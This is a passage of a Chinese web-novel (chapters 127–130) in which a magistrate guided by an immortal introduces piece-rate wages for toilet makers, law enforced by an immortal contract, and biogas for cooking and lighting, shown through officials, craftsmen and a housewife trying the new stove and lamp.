因此次招聘选取的人均是有好几年经验的匠人,将这些人聚集在一起,只为了生产最为普通的马桶,手艺还是太超前了。 他们生产出来的要比机器批量制作的更为完美,各个均是手工制作,确保各处无瑕疵后,这才由负责烧制的人去烧制。 在往常这些匠人们所要制作的东西更为精细废神,但在这样一番辛勤劳作后,收益别说两百文,有时候好的时候能有几十文顶天了。 而现在制作的马桶对于他们来说简直轻松写意,且能轻松获得高薪,这对于他们来说,简直和天上掉馅饼没什么两样。 更要紧的是,前几天有新消息传来,说是工钱的计算,采用计件算法,多劳多得。 这消息一经传播,顿时在匠人之间引起一连串的爆炸。 第127章 羡慕 最先得到消息的是陶瓷厂的负责人,李老。 初闻计件计算工资后,李老忍不住浑身一愣,而后看着眼前还在慢悠悠喝茶的方大人忍不住疑惑道:“方大人,并非在下故意找事,而是若按照工匠的速度,若计件计算工资的话,恐怕要发放的工钱数量可是会翻好几倍啊。” 李老是知道这群工匠动作有多快,按道理每个工匠每天做一个就很不错了,但这群熟手们每日敞开干的话,一个人能做三个! 且质量都很高,暂时来看,烧制马桶竟然不曾有失败品,原先李老率先得知时简直不敢置信。 谁知眼前的县令大人只是缓缓点头。 “李老,不瞒你说,我确实是打算慢慢将全县工资都转化为计件计算,毕竟按照仙师的设想,未来的世界定会是多劳多得的,并非是浑水摸鱼者的天下,若不按照个人付出的努力,全都一刀切的话,岂不是对那些多付出的人不公?” 李老被问在原地,一时间他倒是想起多年前自己也曾被同样的问题困扰过。 当时他还很年轻,正是能力才华出众的年纪,抱着为家族,为李家争光的想法拼命,因身份是商人,当初他并不能考取功名,只能经商。 为壮大李家,他费劲千辛万苦,少年的自尊数次被人踩在脚下摩擦,好容易才让家族有了往上爬的机会,但这机会没有给他,只是给了堂弟,他愤怒过,不满过,但最后都被一句话劝了回去。 ——你是李家的主心骨,你去读书的话,经营一事如何处置? 他迷茫了,片刻犹豫后默默安静下来。 但当堂弟取得进士回家,被全家人捧得高高时,他却因经营出现失误而被族内长老罚去祠堂罚跪。 他和堂弟错身而过时,却看到了对方不经意间暗含着怜悯的目光。 不知为何,他的心忍不住剧烈抽搐,一种仇恨迅速席卷全身。 那夜的雨下得很大。 看着堂弟耗费三年才取得的进士,他忍不住冷笑。 ——蠢货,若他去考的话,哪需要三年!可偏偏族内却将希望放在这样一个蠢材身上! 但偏偏就是这样一个蠢材,却能轻易踩着他的肩膀,站在他的脑袋上,去高高在上的怜悯他。 等从那祠堂出来后,他以自己能力不足推脱了经营之事,保持中庸之道。 与此同时,自己则是私底下招兵买马,另立炉灶挤垮了李家原先的经营。 看着亲手建造的东西被一点点拆毁破坏,他承认自己的心脏不受控制地抽搐。 当时那份雀跃的心思似乎还存在,他似乎看到了一闪而过的当初的那个少年的身影。 多可笑,他想上进,努力过后却亲手将他这么多年的努力击溃。 等亲眼看着李家落魄,飞崩离析后,他终于得到了迟来的,或许都算不上是个交代的解释。 为何不让他去?因为资源有限,而他作为资源,自然是不能离开,不然如何供养小辈? 李老陷入沉默。 他的仇恨丧失了目标,分明是满腔的怒火,但在听到这不掺杂私人感情成分的解释后,像是一拳打在了棉花上一样无力。 最后他枯坐了一宿,第二天醒来后,那个圆滑的,始终以中庸之道为守则的李老便诞生了。 这是他用过往参透出来的经验,而现在却听到有人主动要求打破这种不合理的存在,忍不住微微一愣。 ——如果当时的他也能这样获得属于自己的那份荣耀,或许他现在便不会如此 但对于他来说,一切都为时已晚,但对于这些年轻人,对于当下活着的人来说,还不算晚。 而与此同时,方知意脑内却闪现出先前她仔细研究过的那本书籍。 书籍深刻分析了计件算费,多劳多得的好处,也得多亏这本书的提醒,这才没让她继续犯错误。 想到先前那经她不断完善后,且获得仙师首肯后的律法,方知意联络上了白思妙,让对方将本朝律法印刷出来。 至于律法的颁布,她打算定在最近几日。 李老默不作声地将这命令下达下去,果不其然,在听到计件算工钱后,这群工匠的积极性立即被点燃了。 虽说原先他们的速度已经算不得慢了,但如今,更是快得离谱。 只因那计件算费写得清楚,每日生产一个马桶属于正常情况,只要超出一个的情况下,多余的便都算作件数。 每增多一件,便会多增加100文,但与此同时也有要求,若烧制的不够完美,则要倒扣50文作为再次修改的损耗费用,且谁出错,谁就需要将自己制作的马桶拿回来修改,这样一来一回算下来的话,若烧制的不够完美,相当于只赚了50文,还付出了不少本不应该花费的精力。 要知道塑形和烧制后摩擦改动的难度可不一样。 若完全烧制失败,那这马桶的提成是不算数的。 在听清楚计件算工钱的模式后,工匠各个精神抖擞,恨不得立即动手制作。 要知道单单按照往常计算的话,他们每日就算生产三个,那便是400文? 日薪400文? 一种剧烈的兴奋冲击得工匠们头脑发麻,在思及前后他们并未多付出多少努力就能多拿到两百文后,各个忍不住羞愧庆幸。 ——何德何能能在这里工作! 如此,速度慢的则是以每日三个作为目标,而手速快的则是冲击四个。 一时间,整个陶瓷厂的激情全被这项计算方式给调动起来。 因每日只能工作四个时辰,工匠们恨不得长在工厂。 更别提会有那种摸鱼的人存在了。 而李老则是时不时便会去检测一番最近制作的马桶质量,看看是否会因为这种新型计费模式而变差,但当他看到那几乎没有的翻修率,这会沉默得好像从来不会说话一样。 想到那方大人淡淡的,不透露出情绪的面庞,他竟然忍不住对这些工匠生出了一股羡慕的情绪。 羡慕他们能赶上方大人的这趟浪潮。 羡慕他们不像他垂垂老矣。 叹息着回家时,倒是听闻那报纸似乎又印了新奇的东西。 李老忙打发下人去买报纸,结果还不等他差人去买,报社已经给他亲自送了一份报纸过来。 等到展开那报纸后,看到那占据着核心位置的题目时,李老忍不住心脏怦怦乱跳。 上面写的是《论法治社会的可能性探索》除此之外,还有另一个同样占据着焦点位置的题目。 ——《下周一本县即将发布法律新规》。 两则消息像是旋风一般,直扑他面门而来。 迫不及待的先从第一篇文章读下去,越是读下去,李老便越是忍不住惊呼此文写得十分精妙。 文章通俗易懂,但又不失深度,只是用更为令人方便接受的方式写了出来,但若是细细沿着写作者的思维走下去,很快便能发现此人的深意。 文章从数个方面概述了法治社会的好处,引申出公民,社会的概念,同时写下法治社会能够促进公平,推动本县经济发展诸多好处。 看到一半时,其实李老内心不免有些想法。 法治社会虽然好,但若是从上面开始出现腐坏,该如何是好? 没想到这念头刚刚出现,就看到这文内所写。 文章所写大意是,仙人曾亲自设下契约,但凡是在本县任职公职亦或是和公职人员有接触的人员,包括公职人员的家属,便会和本县法律自动签署一份以自身性命为契约的链接。 若作了那违法之事,则会第一时间受到仙人的惩罚。 惩罚程度受罪过大小自动生效。 在看到这话的瞬间,李老脑内竟是一时半会反应不过来。 等又看了数遍后,这才揉了揉眼睛,确认自己没眼花。???什么鬼,以为会出台什么新律法可以监督官员,结果没想到这个难题完全被仙师解决了啊? 若是借用他前不久从那集闻楼内学习到的新句子,那便是,大人,时代变了。 既有仙人契约,那所谓的监督之法哪有仙人的契约好使? 不过仙师仙法竟然这般强大,竟能同时监控这么多人? 李老顿时心存敬畏,忙反思最近自己有没有做什么不合乎常理的事,在百分百确定不曾有过后,这才松了口气。 赵府。 赵金构垂头任由披散的黑发垂落在那报纸上。 看清楚最为炸裂的两则消息后,他快速品读一番那篇文章。 虽说这文章不曾署名,但赵金构却从此人不经意间的语癖中参透出本尊的真实身份来。 ——除了方大人,不会再有人能写出这样通俗但又蕴含深意的文章。 将这文章翻来覆去地看了好几遍,赵金构放下报纸,忍不住喟叹一声。 看来方大人没白白花费时间在集闻楼啊,这文章内的新奇观点,倒也冲刷着他的认知,尤其是文章内写到: 人人生而平等,权利属于公民。 我既从民众中走来,必定再次回归于民众。 字字简朴,却又能够最大限度地调动人的情绪。 想到新律法即将在下周一发布时,他不由地期待了几分。 至于拿到报纸的其余人,则是看得思绪澎湃。 尤其是其中的名言金句,则是被本县内不少才子摘抄下来,印刻在红木上,随身携带,一时间本县竟然刮起了一阵收集报纸上名言金句的时髦之风。 但凡本县有些家底之人,都会请上那么几副字画,然后提笔写上那金句,将这字画挂在前厅静待客人观赏,像是炫耀般一样。 平民百姓的话,则也追求个时髦,纷纷请街头的字画先生写了字裱起来挂在屋内。 等方知意知晓这事后,倒也颇为意外。 不过眼下更重要的是,第一户人家的马桶已经安装并开始初次试验了。 第128章 贿赂 此事非同小可。 方知意特意派专人过去查看,负责此次事项的记录。 而与此同时,作为第一个吃螃蟹的杜百,则是颇有兴趣地看着前来自家安装马桶的负责人。 这些人身穿官府的服饰,看样子是直接隶属官府的。 自从上次赚了一笔后,杜百抽空又出去了一趟,等她再次回来后,发觉本县多了个陶瓷厂,起初还以为这陶瓷厂卖的是锅碗瓢盆什么的,结果后来等陶瓷厂开放购买后,竟卖的是一名叫马桶的出恭之物。 初看那马桶洁白光滑的造型,杜百倒是第一时间有些幻视先前在黎州所见的那些个白玉罐。 但马桶的造型更为独特,且上方能掀开,听负责安装的工人说需要手动往里面加水。 杜百有些好奇这物到底该如何使用,便见那负责安装之人先是掀开了马桶上方的盖子,而后在内部填满水,合上盖子。 等到此时,杜百注意到那上方竟然有两个不甚明显的按钮。 不等她询问,便见这人已经伸出手去按下那按钮。 “小郎君,你可看好了,这大一些的按钮冲水量多,小一些的按钮冲水量少,所以你看情况使用,现在我要试运行一下,所以我两个都需要试试。” 杜百点头,眼神直勾勾地盯着那马桶去看。 只见在他按下去按钮后,瞬间,一股水从马桶内“哗啦”一声流出,而后沿着内壁,将马桶冲洗得干净。 本还觉得这水流或许会没什么冲劲,但亲眼看清楚这马桶强悍的冲力后,杜百忍不住沉思。 ——如何做到这一点的? 那负责安装之人没浪费时间,又紧接着试了试另一个按钮。 这次的水流比上次的还要大,但因为构造巧妙,并不会像她所想那般水花飞溅,反而那水乖乖地沿着内壁流了出去。 这次杜百算是看清楚了,那马桶内壁上方有数个小孔,那水便是从其中喷射出来。 除了这些出水点外,还有便是马桶主管道的出水口了。 杜百忍不住询问来人这污水会流向何方。 却见此人脸上带着自豪道:“自然是沿着污水管道流向本县新建立的沼气池了,小郎君不晓得这事?” 沼气池? 杜百不由地微怔在原地,而后面色带笑向此人讨教。 “不瞒您说,这些日子我经常出城做买卖,确实不曾听过沼气池,也就是前一个多月看到那斗坡村正挖掘地面,似乎说要做什么下水,这事可和本县的沼气池有所关联?” 看着眼前稚气未脱的少年郎,这人倒是生出几分眼缘,左右还要等一炷香看马桶运行是否有纰漏,这会自然是将最近的重要事情挑挑拣拣地给她讲了讲。 “怪不得你不知道,原来是出城了。 斗坡村那边我不知道,但本县前些日子也改动了下水,那个时候就说要连接沼气池,不过那沼气池我也不曾看到过实物,只是听说过而已。 但你家这个排污管就连接着沼气池,且这个出口,便是日后可以运输沼气的管道。” 说完这话后,此人倒是一副后悔模样。 “哎,我和你说这些干甚,这消息可还不曾公布呢!” 听到这里,杜百顿然了悟,脸上带着淡笑,从怀里掏出银两刚想递过去。 结果却被此人严肃拒绝了。 “小郎君这是何意?我并非为了这银两告诉你这些,只是看你颇有眼缘而已,且既你知晓这事,可否暂时保密?” 杜百微微一愣,一开始她以为这人就是奔着钱才说的这话,这会钱都拿出来了,倒是没想到他又是这幅作态。 是觉得钱太少,还是不方便拿? 试探着将此银两靠近此人几分后,却见他好像避蛇蝎一般侧身躲过。 杜百:这年头银子烫手吗? 这负责人年纪看着有二十来岁,先前模样淡定,这会却被杜百试图塞给他的银子弄得面色紧张。 “小郎君,我好心告诉你消息,你怎么要反过来害我啊!” 听到他的指控,杜百不由地呆愣在原地。???什么鬼,真不要? 在强烈感受到此人的拒绝后,杜百默默将银子收起来。 “多谢您告诉我这消息,放心,我会守口如瓶的。” 这人抚着胸口,在确定一炷香已过后,忙像逃命一般从杜百家逃了出去。 只留下风中凌乱的杜百不知所措。 而等这人跑走后,心有余悸地摸了摸还在怦怦乱跳的心脏。 开什么玩笑,他便是方大人亲自派去记录马桶情况之人,如何能接受行贿? 刚才他将即将要公布的消息率先告之这小郎君后已经足够懊恼了,倒是没想到这人还能再给他添乱,竟还要对他公然行贿。 先暂且不提他人品如何,若是被方大人知道了,被同僚知道了,该如何看待他? 毕竟方大人上任后,给的薪资不可谓不高,若拿着这样的薪资,不为百姓干实事,还能接受行贿,他觉得自己距离死也不远了。 毕竟那屋内可说不定就有方大人穿插下来的眼线,即便是没有眼线,若这事更严重一些,被那位仙人所知,结局也是一样的惨烈。 杜百不知道自己百试百爽的社会经验对此人造成了这么大的心理阴影。 此刻她正蹙眉研究这马桶内的构造。 掀开那盖,看清楚内部的浮标以及管道后,她忍不住叹气。 不行,完全看不懂。 注意力从此处回归后,杜百则是开始注意最近有关沼气池的消息。 根据那人所说,沼气池相关的消息应当快要发布在报纸上了。 既答应了此人要替他保守秘密,杜百并不曾找人打探此事,而是自己走在县内,打算亲眼瞧瞧,看看是否能发现什么不妥之处。 她来回溜达了两三天后,最终决定不如还是等消息得了。 毕竟不靠别人,单靠她一个人,肯定是没办法得知那不知道长什么样子,也不知道大概位置的沼气池在哪儿。 而先前去杜百家中负责安装马桶的人则是急匆匆回去将检测结果报给方知意。 “大人,在下亲自确定安装无误,且使用也不曾有任何问题。” 除他以外,还有另一人半跪在一旁顺着他的话道:“大人,在下观察到沼气池也的确是收到了试验的水流,且我们检测了管道后,并未发现有泄露等情况出现。” 方知意腰背挺得笔直,眼神带着淡淡的满意。 ——先前本县只有三百余工匠负责建造沼气池,后来多亏运营仙盟以及拉新活动,倒是切实替她寻来了不少强干聪明的工匠。 对待这些人,方知意一视同仁,该给多少工钱就给多少工钱,再加上包吃包住,这些外来的工匠很快便被风仙县这极度人性化,且高昂的工资迷花了眼。 这群工匠倒是意外得勤恳,干活的时候是真下了苦功夫,方知意特意观察过这些人,手艺不错,除了吃饭睡觉外,唯一的行动便是工作。 她看到过这些人兴奋的面庞,和这些人错身而过时,听到了一个个小团体聚集起来的闲聊,得知这些人想将钱攒下来带回家给家里人。 这一刻,方知意突然觉得自己三生有幸才能跟随着仙师,跟随着这位伟大存在共创一个足够美好的新世界。 回忆不自觉飘得有些远,方知意再度将注意力调节到现实中来。 “既无异常,便可以按照原计划执行了。” 这两人忙起身后退着离开,而方知意则是淡定地翻开新的一本书籍,打算彻夜研究。 想到集闻楼内满满当当的书籍,她忍不住叹气。 书还是太多了,多到她看也看不完,只能看眼下需要进行对应的选择。 翌日,报社刊登了新的消息。 ——沼气池的开放使用详解! 此文章出自于于洗和白思妙之手,二人合作的文章。 倒是特意没给民众解释得太复杂,而是大概说了说沼气池运行时需要注意的点,以及沼气池的应用方向,以及对百姓来说日常最为便捷的体验。 为确保大部分民众都能看得懂,报纸特意出了两个版本,有拼音版和无拼音版,若对自己有信心,便购买无拼音版本,其内部讲解的更为完善,知识理论等要更深刻一些,若觉得不认识几个字,只是上过本县强制的扫盲班的话,便购买带拼音的报纸即可。 这些日子,买报纸几乎已经成为了本县百姓最为习惯的行为之一,毕竟这报纸上掺杂的有用知识实在是多,且更为珍贵的是,这报纸对于他们这些粗人来说,也没什么阅读门槛,毕竟报社印刷的有拼音版本的报纸言语十分直白朴素,只要你能听得懂人话,那这报纸肯定能看得懂。 虽说报纸便宜,仅两文钱一份,但对于普通人来说,两文钱一张的报纸长期购买也是一种负担,但架不住街坊邻居多啊,大伙合购一张轮换着看便能解决这问题。 一般来说,街坊之间早就排好了购买报纸的人家,一般是十个人一组,这样差不多每个人每个月只需要花费六个铜板便能获得一整个月的最新消息,且十个人的话,因是对门的缘故,传递也还算方便,不至于因为人数太多传递困难。 今日轮到购买报纸的是汪亮的妻子,汪娘子。 她相公前些日子被招收进了陶瓷厂制作马桶,因汪亮本人手艺不错的缘故,每日差不多能拿到400文甚至500文的工钱。 这段时间,汪家一片喜气洋洋,就连原先饿得干瘦的两个孩子也被汪娘子好吃好喝的补了回来。 不过虽说汪亮钱赚的不少,但汪娘子节省惯了,自然还是选择和街坊邻居拼了这份报纸。 第129章 是仙术 等汪娘子从报社将报纸买回来后,路上她倒是就迫不及待地掀开报纸去看。 在扫盲班时,她学得还是很不错的,所以此刻看起有拼音的报纸,也没难度。 等理顺了报纸内所说内容后,汪娘子禁不住楞在原地。 ——按这报纸所说,城内的沼气池即将进入运营状态,沼气虽说她没看懂是什么东西,但只需要知道这新奇之物能用来烧火煮饭,取暖照明就足够了。 按照报纸所说,沼气池运营和维修均由官府负责,但每家每户的使用费是必须要交纳的,除了要缴纳使用费,若因为本人的缘故导致沼气池出现重大损坏,除了要赔偿费用,还需看情况考虑是否要纳入刑罚。 至于说如何正确使用沼气池,报纸则是给出了一份详略的使用方法。 尤其是对于管道内不可投掷的东西列了一大堆。 因为关系到日后使用,汪娘子看了一遍又一遍,确定自己记住后,这才返回巷口。 而在巷口,早就有人等着今日的新报纸了。 将报纸递给等待的人家,汪娘子匆匆回家做饭。 因柴火有些湿,她点燃了好几次后才勉强点着了火。 火烧起来后,湿润的柴火被熏得一阵阵呛人的烟雾。 汪娘子背过身,咳嗽了两声,忙拿着一根棍去挑了挑柴火,好让火烧得更旺。 这一番操作下来,还没做饭呢,就已经让她觉得心累。 不知为何,汪娘子心中不断闪现出那报纸所写。 ——沼气池可供做饭 再大胆地联想一番,汪娘子苦恼地察觉,她对于这沼气池的描述依旧是毫无概念,也想象不到这沼气池的模样以及该如何使用。 毕竟在报纸上看到的和实际上要使用的,这是两码事。 等将准备好的饭菜放入锅内后,她忍不住坐在灶台前,对着炉灶内燃烧的火苗发呆。 说起柴火,这会大部分情况下大家都用的是柴火,只有在冬季取暖时,少部分家里富裕的人才能烧得起炭火取暖。 她听说那些人烧的是银丝炭,就算放在室内,也不曾有一丝一毫呛人味。 不过这样的炭火很是昂贵,他们这样的人家,往年几乎都用的是柴火混合着一些最低级的木炭。 当然了,等到冬季最寒冷的时候,柴火的价格还会上涨,譬如原先卖几文钱一捆,最寒冷时会上涨到十几文。 像他们这样靠手工为生的人家,一没有土地,而不靠近山林,柴火的来源除了购买别无他法,若那沼气池真能用于取暖,想必今年冬天他们能过个好冬了 只是 想到那报纸上曾说过的需要缴纳使用费,汪娘子就有些不安。 不知道这费用需要缴纳多少?若太过于昂贵又该怎么办? 在胡思乱想中,热腾腾的饭菜出锅了。 将饭菜摆上桌,等着相公回来的功夫,汪娘子听到自家门口传来一阵算得上激烈的讨论声。 她忙走出去去看,这一看,便看到了拼凑报纸的其余几户人家,这会他们都聚在一起,聚精会神地看着那报纸内所写。 看到汪娘子过来了,忙招手喊她过去说话,她过去的功夫,就已经听到几句话。 “沼沼气池?没听过这东西,可是县令大人研究出来的新物?” 一人翻着白眼看向说此话之人。 “自然是了,先前县内不是改造过下水吗,我看结合这报纸上所写,那改造下水必定和这沼气池有关系。” “我怎地听不懂了,那等污秽之物,如何能取暖,做饭?” 其实这个问题汪娘子也好奇得紧,拼音版的报纸上尚未写清楚原理,只是告知她们结果,以及如何使用。 但若要深入研究为什么,那想来得要去看那无拼音版的报纸了。 有人灵机一动,摇头晃脑地解释。 “依我看,这便是仙师的仙法,能够将那等污秽之物转化成可以取暖的好东西,这变粪为宝的功力,除了仙师还有谁能做到?” 众人顿时恍然大悟,而后很快便接受了这个说法。 “是啊,是这个道理,只有说仙师使用仙法才能做到此等转化,既运用仙法,那定是相当消耗元气的,所以这也就解释清楚了为何需要收取费用。想来是因为此法消耗的元气巨大啊。” ——等等,最主要的关键点不是为何仙师要这么执着地变粪为宝吗? 既都是用仙术,为何不直接应用在别的物品上,反而却这般执着于,非要选择在这一被世间所不容,所不看好,所厌恶的污秽之物上? 汪娘子隐隐约约感觉或许这解释有什么古怪,但好像眼下只有这个说法足够合理。 且众人都是一副足够信服的模样,汪娘子也暗自被这解释洗脑了。 有人动容道:“仙师为了我们,实在是牺牲太多了。” 立即有人七嘴八舌地附和上。 接下来半天时间内,这则不靠谱的猜测飞得遍地都是。 街头小巷,处处流传着仙师舍己为人的高尚思想。 不过这消息的传播仅仅是流通在普通百姓之间,在购买了无拼音版本的报纸内,倒是稍微解释了一番沼气池形成沼气的官方解释。 一般来说,订阅无拼音版本的人都是读书认字的主,但在他们来回反复品读了数遍解释后,像是不敢相信般看了又看。 他们没看错吧,由那些污秽之物堆积后竟然能产生可取暖做饭的气体?这究竟是如何做到的? 但可惜的是,若是想知道得更清楚一点的话,这份报纸上可就不曾再写了。 毕竟沼气池的建设属于机密文件,只有说足够被仙师信任之人,才有资格观摩那份图纸。 一时间,这等秘密勾引得众人忍不住生出了想立即加入那学堂努力学习,致力于站在仙师身旁才是。 不然随着新奇事物的增加,若不是核心人员的话,那便会被这等神秘之物一直所困扰啊! 但眼下说这些也是白搭,暂且也是来不及的。 众人只能围聚在一起讨论研究,试图发挥智慧破解一番,但很可惜,绕是觉得自己一行人还算得上聪慧,但一众人一时间竟没能讨论出个结果来。 只能叹息,而后回家后各个直奔县内学堂而去。 而等到方知意知晓本县大肆传播的小道消息后,饶是淡定的她也忍不住蹙眉。 ——大意了,是她的错,没能给百姓解释清楚这沼气池,反而让他们对仙师有了这般误解。 仙师高洁,如何要被这沾满污秽的猜测所牵连? 用不着多考虑,方知意下了命令,让负责自己片区的负责人解释沼气池的大致原理,以及实际演练。 不过在演练之前,必须要先给这些负责人再次培训巩固一番后,她才能放心。 不多时,各个区域便开始轰轰烈烈的科普以及实际演练。 汪娘子所在的片区,她们这一片的居民全都被负责人叫了过去。 确保每家每户至少出列一个成年人后,负责人这才指着眼前的燃气炉嘴开始科普。 “首先,我在这里要先讲清楚何谓沼气。” 不等他说话,人群中便有人自作聪明道:“俺们知道,那是仙师的法术!” 负责人老脸一黑,瞪了这人一眼,来人眼看情况不对,赶紧缩脖子当鹌鹑。 扫视全场,看到不少人都是一副迷惑且大气不敢出的模样,负责人突然就觉得科普之路漫长啊。 “首先,我要说的是沼气和你们之前听到的什么仙法形成的小道消息完全不是一个东西。 沼气是由原材料腐烂发酵后,产生的一种可以燃烧的气体,因为能燃烧,所以可以替代柴火,煤炭这些。 看着我眼前的这黄铜燃嘴了没?” 负责人说话还是很有耐心的,众人忙伸长脖子去看他手指的地方,在看清楚后,均是点头附和。 确定可以进行下一步后,负责人拧开按钮,几乎瞬间,从那黄铜燃嘴上喷出一股蓝色的火焰来,而后,这燃烧剧烈却平稳的火光,就这样缓缓地映照在她们每一个人的眼里。 汪娘子离得最近,她似乎能感受到前额毛发被炙热的火焰烫得抖动蜷缩,但身体却因为这样的热度而变得温暖。 ——真神奇,真暖和啊。 汪娘子心里这样想了,事实上,现在不少人正和她一样瞪大眼睛,因为过于震惊,只能从喉咙里发出意义不明的“啊啊”声。 “这如何做到的?分明这下面什么都没有,但是竟然能燃烧起火焰来?” 询问问题这人问出了大伙的心声,负责人倒是开始继续讲解了。 “问得好,因为沼气是肉眼看不到的,所以看似这里没东西可以燃烧,但实际上,从这个喷嘴里正源源不断地释放出可燃烧的气体来,也就是沼气。” 随着他的讲解,放置在黄铜托盘上的水壶已经开始“嗡嗡嗡”的鸣叫。 水壶溢出大量的热气,这股白茫茫的热流迅速席卷了周围。 汪娘子忍不住瞪大眼睛,她没看错吧?那水壶不过刚放上去没多久,怎地这么快就烧开了? 揉了揉眼睛,确定自己没看错后,不仅仅是她,周围人也是一副见鬼的模样。 负责人将水壶拿下来,掀开盖子,一股更为浓厚的白色雾气侵染了众人的视线,而在那滚滚热气中,汪娘子的心跳快得要命。 “看到了吧,这火焰很旺,所以很快便能热好水,以后你们使用时也要小心,等现在,你们可以关闭开关了。” 在关闭开关后,那火焰竟奇迹般缓缓熄灭,到最后什么也看不到。 仿佛从未燃烧过。 但她们都知道,那还沸腾着的水壶,空气中滚烫的热度提醒着她们,一切并非幻觉。 第130章 抓住机会 汪娘子最后花了200文购买了一套做饭所需要的黄铜喷嘴和托盘,以及分发下来,以供照明用的一套防风的油纸外罩。 值得一提的是,这200文除了可以领取一套这些基础用品外,她还做了登记,负责接引火炕管路的工作人员会按照登记本按顺序去给她们连接火炕。 这便是作为冬季取暖所采用的设计了。 这些设计对百姓们来说确实不容易理解,大部分人关注的重点也不在这上面,而是更关注使用沼气池的使用费。 刚才片区的负责人在讲解完毕后,便顺带着将报价说清楚了。 ——按照月收费,在不采暖的月份内,一个月仅需要一百文,若在需要取暖的冬季,费用则会翻倍,即200文。 但即便如此,众人在得知这个定价时,仍惊得瞪大眼睛。 100文一个月? 包括做饭照明??? 汪娘子率先在内心算了一笔账。 做饭需要的柴火每个月便要花个400文左右,就这样还是少的了,再加上油灯,最节省的情况下,一个月也需要60文左右,加起来轻松超过官府统一收费的一百文。 这么一看,这100文一个月真和做慈善没有任何区别了。 一时间,不仅仅是汪娘子,会算账的早在心里也默默算了一笔账,越是算的清楚,心里越是激动。 不等她们开口,负责人继续道:“你们都应该知道这个收费价格很低,为了防止造成资源浪费,所以对每家每户的使用量有要求。 先前开通沼气时,官员早就按照户籍登记人口调节好了量。” 说到这里,他便看到不少人脸色有些焦虑,随即他继续道:“我们做过测试,只要是正常使用的情况下,这个留下来的量是一定够家用的,若是想用这沼气干些别的营生的,那肯定不够了。 先前县令大人曾说过这方面,若是需要做些往外售卖的活计的话,必须要来官府报道,确定通过后,再由官府人员亲自上门调节气量,当然,这样的话价格就不是一个月100文了,这属于商业用气,价格会比素日使用的要高一半,至于更具体的情况,各个商户可以去官府询问,或者等明日的报纸。 我们现在先说民用,民用的话,不能私人去调节气量,调节得专业人员去才行,不然弄不好要爆炸的,若哪家哪户因为这原因导致的沼气池爆炸,按照县令大人的指示,必须要处以最严重的刑罚! 各位想想看吧,现在咱们风仙县的百姓过得是什么日子,别的地方的百姓过得又是什么日子,可别脑袋不清醒,因为这点蝇头小利犯下错事来。” 负责人说这话时瞪大了眼睛,声音高了几分,看上去颇为吓人。 汪娘子咀嚼着这巨量的信息,脑内被这新鲜至极的说法冲击了一次又一次。 很快在强调完这最后一事后,负责人宣布散场,而汪娘子则是捧着手心的黄铜喷头等物往家中走。 按照讲解的那样安装好黄铜喷头以及托盘后,汪娘子小心翼翼地在上面放上了陶锅。 在点火前,她有些不安。 自己能成功吗,万一中间发生了意外可怎么办? 暗自吐气,她在脑内慢慢描绘先前的负责人点火的画面。 而后深呼一口气,像是用尽全身力气一般,颤抖着拧开开关。 “咔哒——” 伴随着清脆的声响,汪娘子无力地松开了手,心脏忍不住砰砰直跳,直到看到那蓝色火焰时这才缓缓平复。 看着这火苗静静地燃烧,陶锅被烧得很快滚烫,里面是她撒下去一把粟米。 等到傍晚屋内昏暗看不清楚时,汪娘子又模仿负责人,将沼气灯点开。 几乎瞬间,原先昏暗的室内顿时被映照得光亮起来。 这亮度刺激得她眼睛不自觉眯起来,等到眼睛逐渐适应这光亮程度后,汪娘子惊讶地发现这沼气灯可要比油灯亮多了! 以前为省点油灯钱,她一般只舍得点一盏油灯。 吃饭时就放在桌面上,睡觉就跟着挪移到床头,总之就是人在哪,灯就在哪。 但即便如此,油灯的光芒还是太微弱了。 虽说还凑合着能用,但和眼前这明亮的沼气灯相比,汪娘子顿时就觉得原先那油灯根本就算不做是灯光。 现在这沼气灯她只需要点开,放置在房内中心,几乎每个角落都能被照射得清楚,和油灯发出来的黄豆一般的光不同,可能是因为灯罩是白色的原因,光线散下来时,白生生的。 汪娘子突然就后悔自己没再多买两个灯留下。 先前她想的是买一个试试,再说了,家里也不需要那么多灯,用得最多的地方放上沼气灯足够,等到其余时候,她随便点上一盏油灯即可。 本来是这样的想的,但在看到沼气灯明亮却柔和的光线后,汪娘子后悔了。 ——货比货可扔,油灯的照明度太差了,和这沼气灯根本没办法比,且这沼气灯除了一开始需要购买灯罩,但后期的花费可要低廉多了。 暗自做好明日再购入两个灯罩的决定后,汪亮到家了。 其实早在汪亮从陶瓷厂下班后的这一路,他就被震撼了一遍又一遍。 因最近越来越冷,天黑得也越来越早,往常他下工后均会伴着一路零星的,由家家户户点燃油灯所发出来的火光。 但在今天下工后,他按照原先的回家路走回去时,看到的并非那零星之火,而是一簇一簇极为明亮的火光。 一时间,汪亮被震撼在原地,——这是何物? 走近点才看见竟然是一盏造型独特的灯。 灯内似乎能看到那微微跳动的火焰正在透露出撼人的光亮。 透过泛着白色的灯罩,映射出来那柔软却足够明媚的光来。 汪亮站在原地,看着眼前逐渐被这灯光填满,久久发不出声响。 有议论的声音钻入他的耳内。 “这沼气灯这么亮?可比那油灯好用多了!多亏我一口气买了三个,不然之后还要去那边排队购买!” “其实这沼气灯就是灯罩贵了点,但若长期使用的话,肯定是沼气灯更好,日后沼气便宜,且亮度够,依我看那卖油灯的要没了出路!” “也不能这么说,现在你看看咱们县内是不是能上工的地方越来越多了?那卖油灯才能赚几个钱,等日后工作一多,这些卖油灯的肯定也不乐意卖,一个一天撑死赚个三四十文,另一个一天保底一百文,你说大家都不是傻子分不清好赖,肯定到时候都要争抢着去上工。” 此人说话甚是有理,一时间倒是听众纷纷点头,又谈论开新话题。 “你们晓得不,昨天,步家的小娘子,成功考上了中级班!” 此话一出,顿时炸开了锅。 “不可能吧,一进去都学扫盲,之后才是初级,中级,除了扫盲一个月能学会毕业,初级班不是要学习三年才允许毕业?” “你这消息太落后了,规定是规定,但前提是通过考试就行,那步小娘子聪慧,竟直接考过了初级,去了那中级班!” 这话立即掀翻了众人的认知。 就连侧身路过的汪亮都竖起了耳朵。 “我记得那步小娘子先前可是都不曾认字的?”一人有些怀疑道。 另一人立即插嘴:“确实如此,不过步小娘子扫盲班仅仅用了一个星期就毕业了,想来也是天生聪慧,那步老三运道忒好,看他和他娘子也不像是聪明的,怎地步小娘子这般聪慧?” 有人见缝插针评价:“歹竹出好笋啊!” 这话换来众人的闷声一笑。 话虽这么说,但在场的人无一不羡慕,要知道日后就算这步小娘子不能晋升高级班,但仅仅从中级班毕业后,到时候出来能进去的岗位肯定要比初级班好太多了! 尤其在这些人中有不少也承蒙仙师恩惠,领着日一百文的工钱,这会自然晓得日后这步小娘子定当是前途坦途。 ——越早的脱颖而出,越容易获得更高的话语权。 